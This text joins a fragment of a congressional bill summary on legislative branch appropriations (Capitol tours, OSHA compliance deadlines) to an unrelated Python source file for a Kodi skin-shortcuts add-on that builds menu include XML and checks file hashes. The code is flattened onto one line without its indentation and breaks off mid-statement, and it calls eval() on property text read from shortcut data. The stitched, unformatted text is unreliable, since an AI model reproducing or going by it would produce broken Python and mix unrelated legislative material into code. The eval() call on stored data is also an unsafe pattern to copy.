Center to be appointed by the Librarian of Congress, on behalf of the Board, instead of being appointed by the Board as under current law. Title II: General Provisions - Specifies authorized and prohibited uses of funds appropriated by this Act identical or similar to corresponding provisions of the Legislative Branch Appropriations Act, 2009. (Sec. 208) Prohibits the use of the funds made available to the AOC in this Act to eliminate guided tours of the U.S. Capitol led by congressional employees and interns. Allows temporary suspension or restriction of such tours for security or related reasons to the same extent as guided tours of the U.S. Capitol led by the AOC. (Sec. 209) Amends the Congressional Accountability Act of 1995 to repeal the compliance deadline for legislative branch correction of violations of the Occupational Safety and Health Act of 1970 (OSHA) (thus making the enforcement mechanisms consistent with OSHA's application to the private sector and the executive branch).
# coding=utf-8 import os, sys, datetime, unicodedata, re import xbmc, xbmcgui, xbmcvfs, xbmcaddon import xml.etree.ElementTree as xmltree from xml.sax.saxutils import escape as escapeXML import ast from traceback import print_exc from unicodeutils import try_decode if sys.version_info < (2, 7): import simplejson else: import json as simplejson __addon__ = xbmcaddon.Addon() __addonid__ = sys.modules[ "__main__" ].__addonid__ __addonversion__ = __addon__.getAddonInfo('version') __xbmcversion__ = xbmc.getInfoLabel( "System.BuildVersion" ).split(".")[0] __datapath__ = os.path.join( xbmc.translatePath( "special://profile/addon_data/" ).decode('utf-8'), __addonid__ ).encode('utf-8') __masterpath__ = os.path.join( xbmc.translatePath( "special://masterprofile/addon_data/" ).decode('utf-8'), __addonid__ ).encode('utf-8') __skin__ = xbmc.translatePath( "special://skin/" ) __language__ = __addon__.getLocalizedString import datafunctions, template DATA = datafunctions.DataFunctions() import hashlib, hashlist def log(txt): if __addon__.getSetting( "enable_logging" ) == "true": if isinstance (txt,str): txt = txt.decode('utf-8') message = u'%s: %s' % (__addonid__, txt) xbmc.log(msg=message.encode('utf-8'), level=xbmc.LOGDEBUG) class XMLFunctions(): def __init__(self): self.MAINWIDGET = {} self.MAINBACKGROUND = {} self.MAINPROPERTIES = {} self.hasSettings = False self.widgetCount = 1 self.loadedPropertyPatterns = False self.propertyPatterns = None self.skinDir = xbmc.translatePath( "special://skin" ) self.checkForShorctcuts = [] def buildMenu( self, mainmenuID, groups, numLevels, buildMode, options, minitems, weEnabledSystemDebug = False, weEnabledScriptDebug = False ): # Entry point for building includes.xml files if xbmcgui.Window( 10000 ).getProperty( "skinshortcuts-isrunning" ) == "True": return xbmcgui.Window( 10000 ).setProperty( "skinshortcuts-isrunning", "True" ) # Get a list of profiles fav_file = xbmc.translatePath( 'special://userdata/profiles.xml' ).decode("utf-8") tree = None if xbmcvfs.exists( fav_file ): f = xbmcvfs.File( fav_file ) tree = xmltree.fromstring( f.read() ) profilelist = [] if tree is not None: profiles = tree.findall( "profile" ) for profile in profiles: name = profile.find( "name" ).text.encode( "utf-8" ) dir = profile.find( "directory" ).text.encode( "utf-8" ) log( "Profile found: " + name + " (" + dir + ")" ) # Localise the directory if "://" in dir: dir = xbmc.translatePath( dir ).decode( "utf-8" ) else: # Base if off of the master profile dir = xbmc.translatePath( os.path.join( "special://masterprofile", dir ) ).decode( "utf-8" ) profilelist.append( [ dir, "StringCompare(System.ProfileName," + name.decode( "utf-8" ) + ")", name.decode( "utf-8" ) ] ) else: profilelist = [["special://masterprofile", None]] if self.shouldwerun( profilelist ) == False: log( "Menu is up to date" ) xbmcgui.Window( 10000 ).clearProperty( "skinshortcuts-isrunning" ) return progress = None # Create a progress dialog progress = xbmcgui.DialogProgressBG() progress.create(__addon__.getAddonInfo( "name" ), __language__( 32049 ) ) progress.update( 0 ) # Write the menus try: self.writexml( profilelist, mainmenuID, groups, numLevels, buildMode, progress, options, minitems ) complete = True except: log( "Failed to write menu" ) print_exc() complete = False # Mark that we're no longer running, clear the progress dialog xbmcgui.Window( 10000 ).clearProperty( "skinshortcuts-isrunning" ) progress.close() if complete == True: # Menu is built, reload the skin xbmc.executebuiltin( "XBMC.ReloadSkin()" ) else: # Menu couldn't be built - generate a debug log # If we enabled debug logging if weEnabledSystemDebug or weEnabledScriptDebug: # Disable any logging we enabled if weEnabledSystemDebug: json_query = xbmc.executeJSONRPC('{ "jsonrpc": "2.0", "id": 0, "method":"Settings.setSettingValue", "params": {"setting":"debug.showloginfo", "value":false} } ' ) if weEnabledScriptDebug: __addon__.setSetting( "enable_logging", "false" ) # Offer to upload a debug log if xbmc.getCondVisibility( "System.HasAddon( script.xbmc.debug.log )" ): ret = xbmcgui.Dialog().yesno( __addon__.getAddonInfo( "name" ), __language__( 32092 ), __language__( 32093 ) ) if ret: xbmc.executebuiltin( "RunScript(script.xbmc.debug.log)" ) else: xbmcgui.Dialog().ok( __addon__.getAddonInfo( "name" ), __language__( 32092 ), __language__( 32094 ) ) else: # Enable any debug logging needed json_query = xbmc.executeJSONRPC('{ "jsonrpc": "2.0", "id": 0, "method": "Settings.getSettings" }') json_query = unicode(json_query, 'utf-8', errors='ignore') json_response = simplejson.loads(json_query) enabledSystemDebug = False enabledScriptDebug = False if json_response.has_key('result') and json_response['result'].has_key('settings') and json_response['result']['settings'] is not None: for item in json_response['result']['settings']: if item["id"] == "debug.showloginfo": if item["value"] == False: json_query = xbmc.executeJSONRPC('{ "jsonrpc": "2.0", "id": 0, "method":"Settings.setSettingValue", "params": {"setting":"debug.showloginfo", "value":true} } ' ) enabledSystemDebug = True if __addon__.getSetting( "enable_logging" ) != "true": __addon__.setSetting( "enable_logging", "true" ) enabledScriptDebug = True if enabledSystemDebug or enabledScriptDebug: # We enabled one or more of the debug options, re-run this function self.buildMenu( mainmenuID, groups, numLevels, buildMode, options, minitems, enabledSystemDebug, enabledScriptDebug ) else: # Offer to upload a debug log if xbmc.getCondVisibility( "System.HasAddon( script.xbmc.debug.log )" ): ret = xbmcgui.Dialog().yesno( __addon__.getAddonInfo( "name" ), __language__( 32092 ), __language__( 32093 ) ) if ret: xbmc.executebuiltin( "RunScript(script.xbmc.debug.log)" ) else: xbmcgui.Dialog().ok( __addon__.getAddonInfo( "name" ), __language__( 32092 ), __language__( 32094 ) ) def shouldwerun( self, profilelist ): try: property = xbmcgui.Window( 10000 ).getProperty( "skinshortcuts-reloadmainmenu" ) xbmcgui.Window( 10000 ).clearProperty( "skinshortcuts-reloadmainmenu" ) if property == "True": log( "Menu has been edited") return True except: pass # Save some settings to skin strings xbmc.executebuiltin( "Skin.SetString(skinshortcuts-sharedmenu,%s)" %( __addon__.getSetting( "shared_menu" ) ) ) # Get the skins addon.xml file addonpath = xbmc.translatePath( os.path.join( "special://skin/", 'addon.xml').encode("utf-8") ).decode("utf-8") addon = xmltree.parse( addonpath ) extensionpoints = addon.findall( "extension" ) paths = [] skinpaths = [] # Get the skin version skinVersion = addon.getroot().attrib.get( "version" ) # Get the directories for resolutions this skin supports for extensionpoint in extensionpoints: if extensionpoint.attrib.get( "point" ) == "xbmc.gui.skin": resolutions = extensionpoint.findall( "res" ) for resolution in resolutions: path = xbmc.translatePath( os.path.join( "special://skin/", resolution.attrib.get( "folder" ), "script-skinshortcuts-includes.xml").encode("utf-8") ).decode("utf-8") paths.append( path ) skinpaths.append( path ) # Check for the includes file for path in paths: if not xbmcvfs.exists( path ): log( "Includes file does not exist" ) return True else: pass try: hashes = ast.literal_eval( xbmcvfs.File( os.path.join( __masterpath__ , xbmc.getSkinDir() + ".hash" ) ).read() ) except: # There is no hash list, return True log( "No hash list" ) print_exc() return True checkedXBMCVer = False checkedSkinVer = False checkedScriptVer = False checkedProfileList = False checkedPVRVis = False checkedSharedMenu = False foundFullMenu = False for hash in hashes: if hash[1] is not None: if hash[0] == "::XBMCVER::": # Check the skin version is still the same as hash[1] checkedXBMCVer = True if __xbmcversion__ != hash[1]: log( "Now running a different version of Kodi" ) return True elif hash[0] == "::SKINVER::": # Check the skin version is still the same as hash[1] checkedSkinVer = True if skinVersion != hash[1]: log( "Now running a different skin version" ) return True elif hash[0] == "::SCRIPTVER::": # Check the script version is still the same as hash[1] checkedScriptVer = True if __addonversion__ != hash[1]: log( "Now running a different script version" ) return True elif hash[0] == "::PROFILELIST::": # Check the profilelist is still the same as hash[1] checkedProfileList = True if profilelist != hash[1]: log( "Profiles have changes" ) return True elif hash[0] == "::HIDEPVR::": checkedPVRVis = True if __addon__.getSetting( "donthidepvr" ) != hash[1]: log( "PVR visibility setting has changed" ) elif hash[0] == "::SHARED::": # Check whether shared-menu setting has changed checkedSharedMenu = True if __addon__.getSetting( "shared_menu" ) != hash[1]: log( "Shared menu setting has changed" ) return True elif hash[0] == "::LANGUAGE::": # We no longer need to rebuild on a system language change pass elif hash[0] == "::SKINBOOL::": # A boolean we need to set (if profile matches) if xbmc.getCondVisibility( hash[ 1 ][ 0 ] ): if hash[ 1 ][ 2 ] == "True": xbmc.executebuiltin( "Skin.SetBool(%s)" %( hash[ 1 ][ 1 ] ) ) else: xbmc.executebuiltin( "Skin.Reset(%s)" %( hash[ 1 ][ 1 ] ) ) elif hash[0] == "::FULLMENU::": # Mark that we need to set the fullmenu bool foundFullMenu = True elif hash[0] == "::SKINDIR::": # Used to import menus from one skin to another, nothing to check here pass else: try: hasher = hashlib.md5() hasher.update( xbmcvfs.File( hash[0] ).read() ) if hasher.hexdigest() != hash[1]: log( "Hash does not match on file " + hash[0] ) log( "(" + hash[1] + " > " + hasher.hexdigest() + ")" ) return True except: log( "Unable to generate hash for %s" %( hash[ 0 ] ) ) log( "(%s > ?)" %( hash[ 1 ] ) ) else: if xbmcvfs.exists( hash[0] ): log( "File now exists " + hash[0] ) return True # Set or clear the FullMenu skin bool if foundFullMenu: xbmc.executebuiltin( "Skin.SetBool(SkinShortcuts-FullMenu)" ) else: xbmc.executebuiltin( "Skin.Reset(SkinShortcuts-FullMenu)" ) # If the skin or script version, or profile list, haven't been checked, we need to rebuild the menu # (most likely we're running an old version of the script) if checkedXBMCVer == False or checkedSkinVer == False or checkedScriptVer == False or checkedProfileList == False or checkedPVRVis == False or checkedSharedMenu == False: return True # If we get here, the menu does not need to be rebuilt. return False def writexml( self, profilelist, mainmenuID, groups, numLevels, buildMode, progress, options, minitems ): # Reset the hashlist, add the profile list and script version hashlist.list = [] hashlist.list.append( ["::PROFILELIST::", profilelist] ) hashlist.list.append( ["::SCRIPTVER::", __addonversion__] ) hashlist.list.append( ["::XBMCVER::", __xbmcversion__] ) hashlist.list.append( ["::HIDEPVR::", __addon__.getSetting( "donthidepvr" )] ) hashlist.list.append( ["::SHARED::", __addon__.getSetting( "shared_menu" )] ) hashlist.list.append( ["::SKINDIR::", xbmc.getSkinDir()] ) # Clear any skin settings for backgrounds and widgets DATA._reset_backgroundandwidgets() self.widgetCount = 1 # Create a new tree and includes for the various groups tree = xmltree.ElementTree( xmltree.Element( "includes" ) ) root = tree.getroot() # Create a Template object and pass it the root Template = template.Template() Template.includes = root Template.progress = progress # Get any shortcuts we're checking for self.checkForShortcuts = [] overridestree = DATA._get_overrides_skin() checkForShorctcutsOverrides = overridestree.getroot().findall( "checkforshortcut" ) for checkForShortcutOverride in checkForShorctcutsOverrides: if "property" in checkForShortcutOverride.attrib: # Add this to the list of shortcuts we'll check for self.checkForShortcuts.append( ( checkForShortcutOverride.text.lower(), checkForShortcutOverride.attrib.get( "property" ), "False" ) ) mainmenuTree = xmltree.SubElement( root, "include" ) mainmenuTree.set( "name", "skinshortcuts-mainmenu" ) submenuTrees = [] for level in range( 0, int( numLevels) + 1 ): subelement = xmltree.SubElement(root, "include") subtree = xmltree.SubElement( root, "include" ) if level == 0: subtree.set( "name", "skinshortcuts-submenu" ) else: subtree.set( "name", "skinshortcuts-submenu-" + str( level ) ) if not subtree in submenuTrees: submenuTrees.append( subtree ) if buildMode == "single": allmenuTree = xmltree.SubElement( root, "include" ) allmenuTree.set( "name", "skinshortcuts-allmenus" ) profilePercent = 100 / len( profilelist ) profileCount = -1 submenuNodes = {} for profile in profilelist: log( "Building menu for profile %s" %( profile[ 2 ] ) ) # Load profile details profileDir = profile[0] profileVis = profile[1] profileCount += 1 # Reset whether we have settings self.hasSettings = False # Reset any checkForShortcuts to say we haven't found them newCheckForShortcuts = [] for checkforShortcut in self.checkForShortcuts: newCheckForShortcuts.append( ( checkforShortcut[ 0 ], checkforShortcut[ 1 ], "False" ) ) self.checkForShortcuts = newCheckForShortcuts # Clear any previous labelID's DATA._clear_labelID() # Clear any additional properties, which may be for a different profile DATA.currentProperties = None # Create objects to hold the items menuitems = [] templateMainMenuItems = xmltree.Element( "includes" ) # If building the main menu, split the mainmenu shortcut nodes into the menuitems list fullMenu = False if groups == "" or groups.split( "|" )[0] == "mainmenu": # Set a skinstring that marks that we're providing the whole menu xbmc.executebuiltin( "Skin.SetBool(SkinShortcuts-FullMenu)" ) hashlist.list.append( ["::FULLMENU::", "True"] ) for node in DATA._get_shortcuts( "mainmenu", None, True, profile[0] ).findall( "shortcut" ): menuitems.append( node ) fullMenu = True else: # Clear any skinstring marking that we're providing the whole menu xbmc.executebuiltin( "Skin.Reset(SkinShortcuts-FullMenu)" ) hashlist.list.append( ["::FULLMENU::", "False"] ) # If building specific groups, split them into the menuitems list count = 0 if groups != "": for group in groups.split( "|" ): if count != 0 or group != "mainmenu": menuitems.append( group ) if len( menuitems ) == 0: # No groups to build break itemidmainmenu = 0 if len( Template.otherTemplates ) == 0: percent = profilePercent / len( menuitems ) else: percent = float( profilePercent ) / float( len( menuitems ) * 2 ) Template.percent = percent * ( len( menuitems ) ) i = 0 for item in menuitems: i += 1 itemidmainmenu += 1 currentProgress = ( profilePercent * profileCount ) + ( percent * i ) progress.update( int( currentProgress ) ) Template.current = currentProgress submenuDefaultID = None if not isinstance( item, basestring ): # This is a main menu item (we know this because it's an element, not a string) submenu = item.find( "labelID" ).text # Build the menu item menuitem, allProps = self.buildElement( item, "mainmenu", None, profile[1], DATA.slugify( submenu, convertInteger=True ), itemid = itemidmainmenu, options = options ) # Save a copy for the template templateMainMenuItems.append( Template.copy_tree( menuitem ) ) # Get submenu defaultID submenuDefaultID = item.find( "defaultID" ).text # Remove any template-only properties otherProperties, requires, templateOnly = DATA._getPropertyRequires() for key in otherProperties: if key in allProps.keys() and key in templateOnly: # This key is template-only menuitem.remove( allProps[ key ] ) allProps.pop( key ) # Add the menu item to the various includes, retaining a reference to them mainmenuItemA = Template.copy_tree( menuitem ) mainmenuTree.append( mainmenuItemA ) if buildMode == "single": mainmenuItemB = Template.copy_tree( menuitem ) allmenuTree.append( mainmenuItemB ) else: # It's an additional menu, so get its labelID submenu = DATA._get_labelID( item, None ) # Build the submenu count = 0 # Used to keep track of additional submenu for submenuTree in submenuTrees: submenuVisibilityName = submenu if count == 1: submenu = submenu + "." + str( count ) elif count != 0: submenu = submenu[:-1] + str( count ) submenuVisibilityName = submenu[:-2] # Get the tree's we're going to write the menu to if submenu in submenuNodes: justmenuTreeA = submenuNodes[ submenu ][ 0 ] justmenuTreeB = submenuNodes[ submenu ][ 1 ] else: # Create these nodes justmenuTreeA = xmltree.SubElement( root, "include" ) justmenuTreeB = xmltree.SubElement( root, "include" ) justmenuTreeA.set( "name", "skinshortcuts-group-" + DATA.slugify( submenu ) ) justmenuTreeB.set( "name", "skinshortcuts-group-alt-" + DATA.slugify( submenu ) ) submenuNodes[ submenu ] = [ justmenuTreeA, justmenuTreeB ] itemidsubmenu = 0 # Get the shortcuts for the submenu if count == 0: submenudata = DATA._get_shortcuts( submenu, submenuDefaultID, True, profile[0] ) else: submenudata = DATA._get_shortcuts( submenu, None, True, profile[0] ) if type( submenudata ) == list: submenuitems = submenudata else: submenuitems = submenudata.findall( "shortcut" ) # Are there any submenu items for the main menu? if count == 0: if len( submenuitems ) != 0: try: hasSubMenu = xmltree.SubElement( mainmenuItemA, "property" ) hasSubMenu.set( "name", "hasSubmenu" ) hasSubMenu.text = "True" if buildMode == "single": hasSubMenu = xmltree.SubElement( mainmenuItemB, "property" ) hasSubMenu.set( "name", "hasSubmenu" ) hasSubMenu.text = "True" except: # There probably isn't a main menu pass else: try: hasSubMenu = xmltree.SubElement( mainmenuItemA, "property" ) hasSubMenu.set( "name", "hasSubmenu" ) hasSubMenu.text = "False" if buildMode == "single": hasSubMenu = xmltree.SubElement( mainmenuItemB, "property" ) hasSubMenu.set( "name", "hasSubmenu" ) hasSubMenu.text = "False" except: # There probably isn't a main menu pass # If we're building a single menu, update the onclicks of the main menu if buildMode == "single" and not len( submenuitems ) == 0: for onclickelement in mainmenuItemB.findall( "onclick" ): if "condition" in onclickelement.attrib: onclickelement.set( "condition", "StringCompare(Window(10000).Property(submenuVisibility)," + DATA.slugify( submenuVisibilityName, convertInteger=True ) + ") + [" + onclickelement.attrib.get( "condition" ) + "]" ) newonclick = xmltree.SubElement( mainmenuItemB, "onclick" ) newonclick.text = "SetProperty(submenuVisibility," + DATA.slugify( submenuVisibilityName, convertInteger=True ) + ",10000)" newonclick.set( "condition", onclickelement.attrib.get( "condition" ) ) else: onclickelement.set( "condition", "StringCompare(Window(10000).Property(submenuVisibility)," + DATA.slugify( submenuVisibilityName, convertInteger=True ) + ")" ) newonclick = xmltree.SubElement( mainmenuItemB, "onclick" ) newonclick.text = "SetProperty(submenuVisibility," + DATA.slugify( submenuVisibilityName, convertInteger=True ) + ",10000)" # Build the submenu items templateSubMenuItems = xmltree.Element( "includes" ) for submenuItem in submenuitems: itemidsubmenu += 1 # Build the item without any visibility conditions menuitem, allProps = self.buildElement( submenuItem, submenu, None, profile[1], itemid = itemidsubmenu, options = options ) isSubMenuElement = xmltree.SubElement( menuitem, "property" ) isSubMenuElement.set( "name", "isSubmenu" ) isSubMenuElement.text = "True" # Save a copy for the template templateSubMenuItems.append( Template.copy_tree( menuitem ) ) # Remove any template-only properties otherProperties, requires, templateOnly = DATA._getPropertyRequires() for key in otherProperties: if key in allProps.keys() and key in templateOnly: # This key is template-only menuitem.remove( allProps[ key ] ) allProps.pop( key ) # Add it, with appropriate visibility conditions, to the various submenu includes justmenuTreeA.append( menuitem ) menuitemCopy = Template.copy_tree( menuitem ) visibilityElement = menuitemCopy.find( "visible" ) visibilityElement.text = "[%s] + %s" %( visibilityElement.text, "StringCompare(Window(10000).Property(submenuVisibility)," + DATA.slugify( submenuVisibilityName, convertInteger=True ) + ")" ) justmenuTreeB.append( menuitemCopy ) if buildMode == "single": # Add the property 'submenuVisibility' allmenuTreeCopy = Template.copy_tree( menuitemCopy ) submenuVisibility = xmltree.SubElement( allmenuTreeCopy, "property" ) submenuVisibility.set( "name", "submenuVisibility" ) submenuVisibility.text = DATA.slugify( submenuVisibilityName, convertInteger=True ) allmenuTree.append( allmenuTreeCopy ) menuitemCopy = Template.copy_tree( menuitem ) visibilityElement = menuitemCopy.find( "visible" ) visibilityElement.text = "[%s] + %s" %( visibilityElement.text, "StringCompare(Container(" + mainmenuID + ").ListItem.Property(submenuVisibility)," + DATA.slugify( submenuVisibilityName, convertInteger=True ) + ")" ) submenuTree.append( menuitemCopy ) # Build the template for the submenu Template.parseItems( "submenu", count, templateSubMenuItems, profile[ 2 ], profile[ 1 ], "StringCompare(Container(" + mainmenuID + ").ListItem.Property(submenuVisibility)," + DATA.slugify( submenuVisibilityName, convertInteger=True ) + ")", item ) count += 1 if self.hasSettings == False: # Check if the overrides asks for a forced settings... overridestree = DATA._get_overrides_skin() forceSettings = overridestree.getroot().find( "forcesettings" ) if forceSettings is not None: # We want a settings option to be added newelement = xmltree.SubElement( mainmenuTree, "item" ) xmltree.SubElement( newelement, "label" ).text = "$LOCALIZE[10004]" xmltree.SubElement( newelement, "icon" ).text = "DefaultShortcut.png" xmltree.SubElement( newelement, "onclick" ).text = "ActivateWindow(settings)" xmltree.SubElement( newelement, "visible" ).text = profile[1] if buildMode == "single": newelement = xmltree.SubElement( mainmenuTree, "item" ) xmltree.SubElement( newelement, "label" ).text = "$LOCALIZE[10004]" xmltree.SubElement( newelement, "icon" ).text = "DefaultShortcut.png" xmltree.SubElement( newelement, "onclick" ).text = "ActivateWindow(settings)" xmltree.SubElement( newelement, "visible" ).text = profile[1] if len( self.checkForShortcuts ) != 0: # Add a value to the variable for all checkForShortcuts for checkForShortcut in self.checkForShortcuts: if profile[ 1 ] is not None and xbmc.getCondVisibility( profile[ 1 ] ): # Current profile - set the skin bool if checkForShortcut[ 2 ] == "True": xbmc.executebuiltin( "Skin.SetBool(%s)" %( checkForShortcut[ 1 ] ) ) else: xbmc.executebuiltin( "Skin.Reset(%s)" %( checkForShortcut[ 1 ] ) ) # Save this to the hashes file, so we can set it on profile changes hashlist.list.append( [ "::SKINBOOL::", [ profile[ 1 ], checkForShortcut[ 1 ], checkForShortcut[ 2 ] ] ] ) # Build the template for the main menu Template.parseItems( "mainmenu", 0, templateMainMenuItems, profile[ 2 ], profile[ 1 ], "", "", mainmenuID ) # If we haven't built enough main menu items, copy the ones we have while itemidmainmenu < minitems and fullMenu and len( mainmenuTree ) != 0: updatedMenuTree = Template.copy_tree( mainmenuTree ) for item in updatedMenuTree: itemidmainmenu += 1 # Update ID item.set( "id", str( itemidmainmenu ) ) for idElement in item.findall( "property" ): if idElement.attrib.get( "name" ) == "id": idElement.text = "$NUM[%s]" %( str( itemidmainmenu ) ) mainmenuTree.append( item ) # Build any 'Other' templates Template.writeOthers() progress.update( 100, message = __language__( 32098 ) ) # Get the skins addon.xml file addonpath = xbmc.translatePath( os.path.join( "special://skin/", 'addon.xml').encode("utf-8") ).decode("utf-8") addon = xmltree.parse( addonpath ) extensionpoints = addon.findall( "extension" ) paths = [] for extensionpoint in extensionpoints: if extensionpoint.attrib.get( "point" ) == "xbmc.gui.skin": resolutions = extensionpoint.findall( "res" ) for resolution in resolutions: path = xbmc.translatePath( os.path.join( try_decode( self.skinDir ) , try_decode( resolution.attrib.get( "folder" ) ), "script-skinshortcuts-includes.xml").encode("utf-8") ).decode('utf-8') paths.append( path ) skinVersion = addon.getroot().attrib.get( "version" ) # Save the tree DATA.indent( tree.getroot() ) for path in paths: tree.write( path, encoding="UTF-8" ) # Save the hash of the file we've just written with open(path, "r+") as f: DATA._save_hash( path, f.read() ) f.close() # Save the hashes # Append the skin version to the hashlist hashlist.list.append( ["::SKINVER::", skinVersion] ) # Save the hashes file = xbmcvfs.File( os.path.join( __masterpath__ , xbmc.getSkinDir() + ".hash" ), "w" ) file.write( repr( hashlist.list ) ) file.close() def buildElement( self, item, groupName, visibilityCondition, profileVisibility, submenuVisibility = None, itemid=-1, options=[] ): # This function will build an element for the passed Item in newelement = xmltree.Element( "item" ) allProps = {} # Set ID if itemid is not -1: newelement.set( "id", str( itemid ) ) idproperty = xmltree.SubElement( newelement, "property" ) idproperty.set( "name", "id" ) idproperty.text = "$NUM[%s]" %( str( itemid ) ) allProps[ "id" ] = idproperty # Label and label2 xmltree.SubElement( newelement, "label" ).text = DATA.local( item.find( "label" ).text )[1] xmltree.SubElement( newelement, "label2" ).text = DATA.local( item.find( "label2" ).text )[1] # Icon and thumb icon = item.find( "override-icon" ) if icon is None: icon = item.find( "icon" ) if icon is None: xmltree.SubElement( newelement, "icon" ).text = "DefaultShortcut.png" else: xmltree.SubElement( newelement, "icon" ).text = try_decode( icon.text ) thumb = item.find( "thumb" ) if thumb is not None: xmltree.SubElement( newelement, "thumb" ).text = try_decode( item.find( "thumb" ).text ) # labelID and defaultID labelID = xmltree.SubElement( newelement, "property" ) labelID.text = item.find( "labelID" ).text labelID.set( "name", "labelID" ) allProps[ "labelID" ] = labelID defaultID = xmltree.SubElement( newelement, "property" ) defaultID.text = item.find( "defaultID" ).text defaultID.set( "name", "defaultID" ) allProps[ "defaultID" ] = defaultID # Clear cloned options if main menu if groupName == "mainmenu": self.MAINWIDGET = {} self.MAINBACKGROUND = {} self.MAINPROPERTIES = {} # Get fallback custom properties foundProperties = [] # Additional properties properties = eval( item.find( "additional-properties" ).text ) if len( properties ) != 0: for property in properties: if property[0] == "node.visible": visibleProperty = xmltree.SubElement( newelement, "visible" ) visibleProperty.text = try_decode( property[1] ) else: additionalproperty = xmltree.SubElement( newelement, "property" ) additionalproperty.set( "name", property[0].decode( "utf-8" ) ) additionalproperty.text = property[1] allProps[ property[ 0 ] ] = additionalproperty # If this is a widget or background, set a skin setting to say it's enabled if property[0] == "widget": xbmc.executebuiltin( "Skin.SetBool(skinshortcuts-widget-" + property[1] + ")" ) # And if it's the main menu, list it if groupName == "mainmenu": xbmc.executebuiltin( "Skin.SetString(skinshortcuts-widget-" + str( self.widgetCount ) + "," + property[ 1 ] + ")" ) self.widgetCount += 1 elif property[0] == "background": try: xbmc.executebuiltin( "Skin.SetBool(skinshortcuts-background-" + property[1] + ")" ) except UnicodeEncodeError: xbmc.executebuiltin( "Skin.SetBool(skinshortcuts-background-" + property[1].encode('utf-8') + ")" ) # If this is the main menu, and we're cloning widgets, backgrounds or properties... if groupName == "mainmenu": if "clonewidgets" in options: widgetProperties = [ "widget", "widgetName", "widgetType", "widgetTarget", "widgetPath", "widgetPlaylist" ] if property[0] in widgetProperties: self.MAINWIDGET[ property[0] ] = property[1] if "clonebackgrounds" in options: backgroundProperties = [ "background", "backgroundName", "backgroundPlaylist", "backgroundPlaylistName" ] if property[0] in backgroundProperties: self.MAINBACKGROUND[ property[0] ] = property[1] if "cloneproperties" in options: self.MAINPROPERTIES[ property[0] ] = property[1] # For backwards compatibility, save widgetPlaylist as widgetPath too if property[ 0 ] == "widgetPlaylist": additionalproperty = xmltree.SubElement( newelement, "property" ) additionalproperty.set( "name", "widgetPath" ) additionalproperty.text = try_decode( property[1] ) # Get fallback properties, property requirements, templateOnly value of properties fallbackProperties, fallbacks = DATA._getCustomPropertyFallbacks( groupName ) # Add fallback properties for key in fallbackProperties: if key not in allProps.keys(): # Check whether we have a fallback for the value for propertyMatch in fallbacks[ key ]: matches = False if propertyMatch[ 1 ] is None: # This has no conditions, so it matched matches = True else: # This has an attribute and a value to match against for property in properties: if property[ 0 ] == propertyMatch[ 1 ] and property[ 1 ] == propertyMatch[ 2 ]: matches = True break if matches: additionalproperty = xmltree.SubElement( newelement, "property" ) additionalproperty.set( "name", key.decode( "utf-8" ) ) additionalproperty.text = propertyMatch[ 0 ] allProps[ key ] = additionalproperty break # Get property requirements otherProperties, requires, templateOnly = DATA._getPropertyRequires() # Remove any properties whose requirements haven't been met for key in otherProperties: if key in allProps.keys() and key in requires.keys() and requires[ key ] not in allProps.keys(): # This properties requirements aren't met newelement.remove( allProps[ key ] ) allProps.pop( key ) # Primary visibility visibility = item.find( "visibility" ) if visibility is not None: xmltree.SubElement( newelement, "visible" ).text = visibility.text #additional onclick (group overrides) onclicks = item.findall( "additional-action" ) for onclick in onclicks: onclickelement = xmltree.SubElement( newelement, "onclick" ) onclickelement.text = onclick.text if "condition" in onclick.attrib: onclickelement.set( "condition", onclick.attrib.get( "condition" ) ) # Onclick onclicks = item.findall( "override-action" ) if len( onclicks ) == 0: onclicks = item.findall( "action" ) for onclick in onclicks: onclickelement = xmltree.SubElement( newelement, "onclick" ) # Updrage action if necessary onclick.text = DATA.upgradeAction( onclick.text ) # PVR Action if onclick.text.startswith( "pvr-channel://" ): # PVR action onclickelement.text = "RunScript(script.skinshortcuts,type=launchpvr&channel=" + onclick.text.replace( "pvr-channel://", "" ) + ")" elif onclick.text.startswith( "ActivateWindow(" ) and xbmc.translatePath( "special://skin/" ) in onclick.text: # Skin-relative links try: actionParts = onclick.text[15:-1].split( "," ) actionParts[1] = actionParts[1].replace( xbmc.translatePath( "special://skin/" ), "" ) path = actionParts[1].split( os.sep ) newAction = "special://skin" for actionPart in actionParts[1].split( os.sep ): if actionPart != "": newAction = newAction + "/" + actionPart if len( actionParts ) == 2: onclickelement.text = "ActivateWindow(" + actionParts[0] + "," + newAction + ")" else: onclickelement.text = "ActivateWindow(" + actionParts[0] + "," + newAction + "," + actionParts[2] + ")" except: pass else: onclickelement.text = onclick.text # Also add it as a path property if not self.propertyExists( "path", newelement ) and not "path" in allProps.keys(): # we only add the path property if there isn't already one in the list because it has to be unique in Kodi lists pathelement = xmltree.SubElement( newelement, "property" ) pathelement.set( "name", "path" ) pathelement.text = onclickelement.text allProps[ "path" ] = pathelement # Get 'list' property (the action property of an ActivateWindow shortcut) if not self.propertyExists( "list", newelement ) and not "list" in allProps.keys(): # we only add the list property if there isn't already one in the list because it has to be unique in Kodi lists listElement = xmltree.SubElement( newelement, "property" ) listElement.set( "name", "list" ) listElement.text = DATA.getListProperty( onclickelement.text.replace('"','') ) allProps[ "list" ] = listElement if onclick.text == "ActivateWindow(Settings)": self.hasSettings = True if "condition" in onclick.attrib: onclickelement.set( "condition", onclick.attrib.get( "condition" ) ) if len( self.checkForShortcuts ) != 0: # Check if we've been asked to watch for this shortcut newCheckForShortcuts = [] for checkforShortcut in self.checkForShortcuts: if onclick.text.lower() == checkforShortcut[ 0 ]: # They match, change the value to True newCheckForShortcuts.append( ( checkforShortcut[ 0 ], checkforShortcut[ 1 ], "True" ) ) else: newCheckForShortcuts.append( checkforShortcut ) self.checkForShortcuts = newCheckForShortcuts # Visibility if visibilityCondition is not None: visibilityElement = xmltree.SubElement( newelement, "visible" ) if profileVisibility is not None: visibilityElement.text = profileVisibility + " + [" + visibilityCondition + "]" else: visibilityElement.text = visibilityCondition issubmenuElement = xmltree.SubElement( newelement, "property" ) issubmenuElement.set( "name", "isSubmenu" ) issubmenuElement.text = "True" allProps[ "isSubmenu" ] = issubmenuElement elif profileVisibility is not None: visibilityElement = xmltree.SubElement( newelement, "visible" ) visibilityElement.text = profileVisibility # Submenu visibility if submenuVisibility is not None: submenuVisibilityElement = xmltree.SubElement( newelement, "property" ) submenuVisibilityElement.set( "name", "submenuVisibility" ) if submenuVisibility.isdigit(): submenuVisibilityElement.text = "$NUMBER[" + submenuVisibility + "]" else: submenuVisibilityElement.text = DATA.slugify( submenuVisibility ) # Group name group = xmltree.SubElement( newelement, "property" ) group.set( "name", 